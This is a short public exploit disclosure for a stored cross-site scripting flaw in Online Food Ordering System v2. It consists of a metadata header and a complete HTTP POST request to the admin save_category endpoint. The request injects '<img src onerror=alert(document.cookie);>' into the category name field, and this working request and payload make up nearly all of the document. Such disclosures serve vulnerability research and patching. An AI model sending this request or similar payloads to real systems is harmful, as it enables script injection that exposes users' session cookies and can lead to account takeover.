Online Food Ordering System 2.0 Cross Site Scripting

`# Exploit Title: Online Food Ordering System v2 - Stored Cross Site Scripting (XSS)  
# Date: 01/11/2023  
# Exploit Author: Alaeddin Berksoy  
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code  
# Version: 2.0   
# Tested on: Macos / XAMPP  
  
  
POST /fos/admin/ajax.php?action=save_category HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------212007370016574149261512413130  
Content-Length: 322  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/fos/admin/index.php?page=categories  
Cookie: language=en; welcomebanner_status=dismiss; continueCode=LoPJXWEAqruytmUYHrT4FDiBZikOH1Vh8Zh7JHvLtppI9VCvXHEYd7ywQ1B5; cookieconsent_status=dismiss; PHPSESSID=eje1menuonpvjtfbl2ri965btk  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
-----------------------------212007370016574149261512413130  
Content-Disposition: form-data; name="id"  
  
  
-----------------------------212007370016574149261512413130  
Content-Disposition: form-data; name="name"  
  
<img src onerror=alert(document.cookie);>  
-----------------------------212007370016574149261512413130--  
`